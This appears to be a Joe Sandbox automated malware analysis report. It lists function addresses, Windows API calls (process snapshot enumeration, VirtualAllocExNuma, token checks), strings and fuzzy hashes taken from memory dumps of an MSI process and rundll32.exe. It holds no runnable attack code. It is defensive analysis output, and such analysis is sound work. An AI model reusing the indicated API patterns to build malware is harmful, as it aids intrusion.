Instruction ID: 1b4c53eb7d8a591d8e32c9eedf4ed3a28e494bbdabbe5a46cdad2f561a2fb868
Opcode Fuzzy Hash: 2026a7790c26308e47ea4276267e2af4c61ebb9f8f3b78d8fea42bfb706584f0
Instruction Fuzzy Hash: 5D51C2B1D007489FDB11DFA4C941BEEF7B8FF09300F14426AE905AB281E774AA95CB91

Function 002F70A0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

\\?\UNC\, xrefs: 002F7173, 002F71CE
\\?\, xrefs: 002F71E3, 002F7210

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID:
String ID: \\?\$\\?\UNC\
API String ID: 0-3019864461
Opcode ID: f4abdb02af1738c431e8bee76b3425b39d83e28bd61a9c34749c744e0607304a
Instruction ID: d21e9ba9f53e555bc82bcd1ea19e8975fb2f34ff9c54861319aafe67f87d627a
Opcode Fuzzy Hash: f4abdb02af1738c431e8bee76b3425b39d83e28bd61a9c34749c744e0607304a
Instruction Fuzzy Hash: EB510370A24209DBDB15CF64C845BFEF7B9FF58384F10452DE901AB280DBB56998CB90

Function 00316059 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 0031607E

Strings

RCC, xrefs: 00316098
MOC, xrefs: 00316090

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: bacfe561ccb3ad79691d37ca3ee0ee2a08cc0f404c2a95d5bf9047f0218c8556
Instruction ID: 3bf2d920ba06dc66712ab43c96afa69f9da5d4b10d275a02468b97f50418f65d
Opcode Fuzzy Hash: bacfe561ccb3ad79691d37ca3ee0ee2a08cc0f404c2a95d5bf9047f0218c8556
Instruction Fuzzy Hash: E4413A71900209EFCF1ADF98CC82AEEBBB5BF4C304F1541A9F90467252D3759A91DB50

Function 0030DF8F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0030DF96
__cftoe.LIBCMT ref: 0030E01A

Strings

!%x, xrefs: 0030DFA7

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: H_prolog3___cftoe
String ID: !%x
API String ID: 855520168-1893981228
Opcode ID: bdb4d172f4f64a842ca575c33680dcbead7c5f16cf4480f603e7fb4ea9b43b53
Instruction ID: 1fe96bbc331cdb64975a0f0b2573597ab78fb73b15e434b83eb9845607a7ead2
Opcode Fuzzy Hash: bdb4d172f4f64a842ca575c33680dcbead7c5f16cf4480f603e7fb4ea9b43b53
Instruction Fuzzy Hash: 5E318B71D1120DEBDF05DF94E991AEEB7B5FF08304F104819F504AB281D775AA55CB60

Function 003119FA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00311A01
__cftoe.LIBCMT ref: 00311A7F

Strings

!%x, xrefs: 00311A15

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: H_prolog3___cftoe
String ID: !%x
API String ID: 855520168-1893981228
Opcode ID: e5c8fb77be072f22461b98c4297cae169e29337d4d604028fccc74d79c43b819
Instruction ID: 903a5d35ebbaddd12ab019b7cad308a8a355949c14bf168ea64fa169de0d0262
Opcode Fuzzy Hash: e5c8fb77be072f22461b98c4297cae169e29337d4d604028fccc74d79c43b819
Instruction Fuzzy Hash: E1318E31D1525DAFDF06DF94E881AEEBBB9EF09300F140019F944A7242D7759A85CFA0

Function 002F5F40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ConvertSidToStringSidW.ADVAPI32(?,00000000), ref: 002F5F86
LocalFree.KERNEL32(00000000,Invalid SID,0000000B,?,00000000,7642E7B1), ref: 002F5FF6

Strings

Invalid SID, xrefs: 002F5FD4

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ConvertFreeLocalString
String ID: Invalid SID
API String ID: 3201929900-130637731
Opcode ID: 3bd76c1b4f76d2bc9b1d7958b6d0ac572959626d6dc8edd0ff51768f98ef5c67
Instruction ID: 924093284c0af9a0709b0e66c886d41ea255376f06c751093d3acefeca964672
Opcode Fuzzy Hash: 3bd76c1b4f76d2bc9b1d7958b6d0ac572959626d6dc8edd0ff51768f98ef5c67
Instruction Fuzzy Hash: C421AEB4A14609DBDB15CF58C855BBFBBF8FF44714F100A1DE501AB680D7BA6A048BD0

Function 002F9070 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 002F909B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 002F90FE

Strings

bad locale name, xrefs: 002F9121

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: d692e5745d1b16d491662b284fa02b44b9c8255e95f394634c059ce97469700d
Instruction ID: e0cc3850785b12d50f2222073f68e4344777f02e11a6c53f50ca78827739d9da
Opcode Fuzzy Hash: d692e5745d1b16d491662b284fa02b44b9c8255e95f394634c059ce97469700d
Instruction Fuzzy Hash: C921C070805B84DED722CFA8C90478BBFF4EF19710F14869EE4999B781D3B5A604CBA1

Function 002FF098 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 002FF09F

Strings

true, xrefs: 002FF109
false, xrefs: 002FF0F6

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: H_prolog3_
String ID: false$true
API String ID: 2427045233-2658103896
Opcode ID: 434f537a23c1fb34bd53915acaff2bad26ef78639ca81f70cd63afe07f5e7172
Instruction ID: b1646d23916e074e711bd6bc5de5e0f9bb23e96518d1663bc6059656f73e4524
Opcode Fuzzy Hash: 434f537a23c1fb34bd53915acaff2bad26ef78639ca81f70cd63afe07f5e7172
Instruction Fuzzy Hash: 1511D075901749AFC722EFB4D841B9AB7F4AF09300F10C92AE5968B282EB30E505CB90

Function 00300D24 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00300D30
std::_Lockit::~_Lockit.LIBCPMT ref: 00300D8B

Strings

21, xrefs: 00300D55, 00300D6F

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: 21
API String ID: 593203224-1316489359
Opcode ID: 68c04522aa3e7ba2be674f42bfc1a1a0b72759a7a9655519d5133d464bfd35af
Instruction ID: 34b0180d9f29b69513e7a2123ac5c4e54c8c77e002d6b0b4100b8a7f06834641
Opcode Fuzzy Hash: 68c04522aa3e7ba2be674f42bfc1a1a0b72759a7a9655519d5133d464bfd35af
Instruction Fuzzy Hash: 1B019E35600608AFCB1ADF54C8A1A9E7BB9EF84350F150099E8059F3A1EB70FE40CBA0

Function 0032776F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?), ref: 003277AF

Strings

21, xrefs: 0032779F
InitializeCriticalSectionEx, xrefs: 0032777F

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: 21$InitializeCriticalSectionEx
API String ID: 2593887523-1156534138
Opcode ID: fd92e301c391a9374325cf79c8c9b233a570b83353d68122ca9e514d47877359
Instruction ID: d94140da3ac511e112504168ed5a2cb626f508498169f47690c1859a94141bde
Opcode Fuzzy Hash: fd92e301c391a9374325cf79c8c9b233a570b83353d68122ca9e514d47877359
Instruction Fuzzy Hash: 3AE01236584228FBCB231F65EC89EDE7F29FB45761F004411FE1965160DBB28921DAD0

Function 00327559 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0032758D

Strings

21, xrefs: 00327583
FlsAlloc, xrefs: 00327569

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Alloc
String ID: 21$FlsAlloc
API String ID: 2773662609-4108990562
Opcode ID: 46ce57caae1c74b42c0e24ac84c0eddfd8990bda1a4813e49d667f39c6fd8d47
Instruction ID: 7c5b4f2319f8745054f98beeb5b572ac4bea6407104a11d222710f4d19bd0bdd
Opcode Fuzzy Hash: 46ce57caae1c74b42c0e24ac84c0eddfd8990bda1a4813e49d667f39c6fd8d47
Instruction Fuzzy Hash: 08E0C23268833CF7C7232B61BC46DDEF908AF44B60F040021FE045A2909BA2888192D1

Function 00327915 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(0034E428), ref: 00327932

Strings

x4, xrefs: 0032793E
(4, xrefs: 00327921

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: FreeLibrary
String ID: (4$x4
API String ID: 3664257935-1919804628
Opcode ID: f62c333874ebdd3c7b80716b6e3cb93f24a002fab18049c6c6e785fce8c7b44d
Instruction ID: 5ee68e1cce922ef7d9afebb8d9571e58aab5c747b6a81bfc162ead40418f91a0
Opcode Fuzzy Hash: f62c333874ebdd3c7b80716b6e3cb93f24a002fab18049c6c6e785fce8c7b44d
Instruction Fuzzy Hash: CAE08C36C083259BEB331F09E804BA077D8BB60332F26022AD8EC162A093B12CD1C6D0

Function 002F4070 Relevance: 5.2, APIs: 4, Instructions: 189memoryCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000,002F4261,00334400,000000FF,7642E7B1,00000000,?,00000000,?,?,?,00334400,000000FF,?,002F3A75,?), ref: 002F4096
LocalAlloc.KERNEL32(00000040,40000022,7642E7B1,?,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 002F4154
LocalAlloc.KERNEL32(00000040,3FFFFFFF,7642E7B1,?,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 002F4177
LocalFree.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 002F4217

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: adcce28dc6e073b97ba1403116772deb4f86ed4330362d8051ae9ae2130c0469
Instruction ID: d5aef409fcb8ecb27f06727063097af41d29f2ca6b41e6e6452ff1010bbd2a21
Opcode Fuzzy Hash: adcce28dc6e073b97ba1403116772deb4f86ed4330362d8051ae9ae2130c0469
Instruction Fuzzy Hash: AF5190B1A1020A9FDB18DF68C985ABEFBB5EB48340F14463DE925E7380D770A950CB50

Function 002F1D80 Relevance: 5.2, APIs: 4, Instructions: 171memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,80000022,00000000,?,00000000), ref: 002F1E01
LocalAlloc.KERNEL32(00000040,7FFFFFFF,00000000,?,00000000), ref: 002F1E21
LocalFree.KERNEL32(7FFFFFFE,?,00000000), ref: 002F1EA7
LocalFree.KERNEL32(00000001,7642E7B1,00000000,00000000,00333C40,000000FF,?,00000000), ref: 002F1F2D

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: 8eb57f5299ba9c46accee158cc4b0c6785a07e3209a355df4041523321e0d35e
Instruction ID: b37eea8ca28756f7ab5e3e9366bed8e0718c6c574dddc529e9a0527b11a482b8
Opcode Fuzzy Hash: 8eb57f5299ba9c46accee158cc4b0c6785a07e3209a355df4041523321e0d35e
Instruction Fuzzy Hash: 2E51F372A14219DFC716DF28DC80A6AF7E8FB49390F510A3EF916D7290DB30D9248B91

Analysis Process: rundll32.exePID: 3784, Parent PID: 2036COMMON

Execution Graph

Execution Coverage:	0.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.2%
Total number of Nodes:	582
Total number of Limit Nodes:	2

Executed Functions

Function 00007DF4DD100100 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

@, xrefs: 00007DF4DD100237

Memory Dump Source

Source File: 00000006.00000003.2257756805.00007DF4DD100000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007DF4DD100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_7df4dd100000_rundll32.jbxd

Similarity

API ID: CreateSnapshotToolhelp32
String ID: @
API String ID: 3332741929-2766056989
Opcode ID: 4dd753c87e2aa29c9c96ae48a87dd40f0169a1ec6aa8ae238ef9ae283b3ca07b
Instruction ID: c9ec7b5872f907cd43594026c22f1e08b0b7b9715ec2f75486b6cc4481903521
Opcode Fuzzy Hash: 4dd753c87e2aa29c9c96ae48a87dd40f0169a1ec6aa8ae238ef9ae283b3ca07b
Instruction Fuzzy Hash: 6071CD3161494D8FEB94EF58C858BAD37E5FB98315F104226E81EC72A0DB749954CB80

Function 00000293134ED279 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2168774337.00000293134B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000293134B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_293134b0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7e753f29fc521fa2d0b6c7a6994e588844e22f1070003091da851a212630d82
Instruction ID: e603c2adcafda4036e2caf7c6055458bf92d1742c850cdf020dab42ebc9b2872
Opcode Fuzzy Hash: d7e753f29fc521fa2d0b6c7a6994e588844e22f1070003091da851a212630d82
Instruction Fuzzy Hash: 64F0A470618B408BEB44DF1884CA63677E1FBD8755F24452EE889C7371CB359842CB83

Function 00000293134ED2E9 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000003.2168774337.00000293134B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000293134B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_293134b0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c03d8a45eb9b0d3ccc835ff03553e770b46152858ebd01b16508ffef1a6f20c3
Instruction ID: 7ead1ce74da6b064b80a89ebe7293795d446223bf9d178df3ae45fb7facb266e
Opcode Fuzzy Hash: c03d8a45eb9b0d3ccc835ff03553e770b46152858ebd01b16508ffef1a6f20c3
Instruction Fuzzy Hash: A9F05470A28F444BDB48EF2C884A63577D1F7A8645F54453EA448C7361DF35E5428B43

Function 00000001800EE604 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocExNuma.KERNEL32 ref: 00000001800EE67D

Strings

2cc), xrefs: 00000001800EE61E
0m8B, xrefs: 00000001800EE617
@, xrefs: 00000001800EE675
pZ5u, xrefs: 00000001800EE62C
m)S9, xrefs: 00000001800EE625
,=, xrefs: 00000001800EE63C

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AllocNumaVirtual
String ID: ,=$0m8B$2cc)$@$m)S9$pZ5u
API String ID: 4233825816-2795462132
Opcode ID: ea224779a45d07559d73cbc71cfa124f413c696b979030cadcaad53e6331c73d
Instruction ID: 26dc1e36989902e02d5f08e91251171354dcc459b97bff11772d218079fe3606
Opcode Fuzzy Hash: ea224779a45d07559d73cbc71cfa124f413c696b979030cadcaad53e6331c73d
Instruction Fuzzy Hash: 231159727102885DE7618FB5E44479D3BA0F328BA8F54422A9A6D67BD4DA38C60ECB14

Function 00007DF4DD100000 Relevance: 6.1, APIs: 4, Instructions: 88processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007DF4DD100052
Process32First.KERNEL32 ref: 00007DF4DD10008B
CloseHandle.KERNEL32 ref: 00007DF4DD1000C1

Memory Dump Source

Source File: 00000006.00000003.2257756805.00007DF4DD100000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007DF4DD100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_7df4dd100000_rundll32.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: 7b76749183c32904e7c867cae929a431087f8f66ce00ca14fd6eade76c102862
Instruction ID: bc8234dab0e77f46646fe052733c1672029c0de449a4d848e29ee2c6f10be317
Opcode Fuzzy Hash: 7b76749183c32904e7c867cae929a431087f8f66ce00ca14fd6eade76c102862
Instruction Fuzzy Hash: DE21B83065495D8FEBA1EB9CCC58BEE33F5EBA8310F404226941EDB294DE35AA448750

Function 00000293134EBE69 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 317COMMON

Download Yara Rule

Strings

, xrefs: 00000293134EC0D3

Memory Dump Source

Source File: 00000006.00000003.2168774337.00000293134B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000293134B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_293134b0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: e1b5f217ab961a454b36722efd1ce63e8d0791c74eab14a614d4f9e3fc2a9a33
Instruction ID: 000be774d9cfe32d78eb128b8dda6673e26440be64146405b8c73bca796068e9
Opcode Fuzzy Hash: e1b5f217ab961a454b36722efd1ce63e8d0791c74eab14a614d4f9e3fc2a9a33
Instruction Fuzzy Hash: 27B1713121CA088FDF54EF1CD889B9AB7E1FB98310F404669E48DC7265DB34E945CB86

Non-executed Functions

Function 0000000180001510 Relevance: 16.6, APIs: 11, Instructions: 130
threadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0000000180001533
OpenThreadToken.ADVAPI32 ref: 0000000180001548
GetLastError.KERNEL32 ref: 0000000180001552
GetCurrentProcess.KERNEL32 ref: 000000018000155F
OpenProcessToken.ADVAPI32 ref: 0000000180001571
GetTokenInformation.ADVAPI32 ref: 00000001800015BA
GetLastError.KERNEL32 ref: 00000001800015C8
GetTokenInformation.ADVAPI32 ref: 0000000180001609
AllocateAndInitializeSid.ADVAPI32 ref: 0000000180001663
EqualSid.ADVAPI32 ref: 0000000180001684
FreeSid.ADVAPI32 ref: 00000001800016D5

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Token$CurrentErrorInformationLastOpenProcessThread$AllocateEqualFreeInitialize
String ID:
API String ID: 64348521-0
Opcode ID: 60c7760728c6a4a746a0896dd83b165dd113752e42dee95d8ef29115c47e0203
Instruction ID: 834d127787b2faee8a44574038080d036508957a38a80e6c70e57281afcce267
Opcode Fuzzy Hash: 60c7760728c6a4a746a0896dd83b165dd113752e42dee95d8ef29115c47e0203
Instruction Fuzzy Hash: F2518072604A44CAEBA2CF21E8943DE37A4FB4CBC9F049119FA4A43B54DF39C649C710

Function 00000001800FA160 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 239
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001800EFAF4: GetLastError.KERNEL32 ref: 00000001800EFB03
Part of subcall function 00000001800EFAF4: FlsGetValue.KERNEL32 ref: 00000001800EFB18
Part of subcall function 00000001800EFAF4: SetLastError.KERNEL32 ref: 00000001800EFBA3

TranslateName.LIBCMT ref: 00000001800FA1CA
TranslateName.LIBCMT ref: 00000001800FA205
GetACP.KERNEL32(?,?,?,00000000,00000092,00000001800F1154), ref: 00000001800FA24C
IsValidCodePage.KERNEL32(?,?,?,00000000,00000092,00000001800F1154), ref: 00000001800FA284
GetLocaleInfoW.KERNEL32 ref: 00000001800FA44D

Strings

utf8, xrefs: 00000001800FA368

Memory Dump Source

Source File: 00000006.00000002.4564089647.0000000180001000.00000020.00000001.01000000.00000005.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.4563972162.0000000180000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564293012.0000000180110000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564345949.0000000180148000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564420616.0000000180149000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4564453093.0000000180151000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

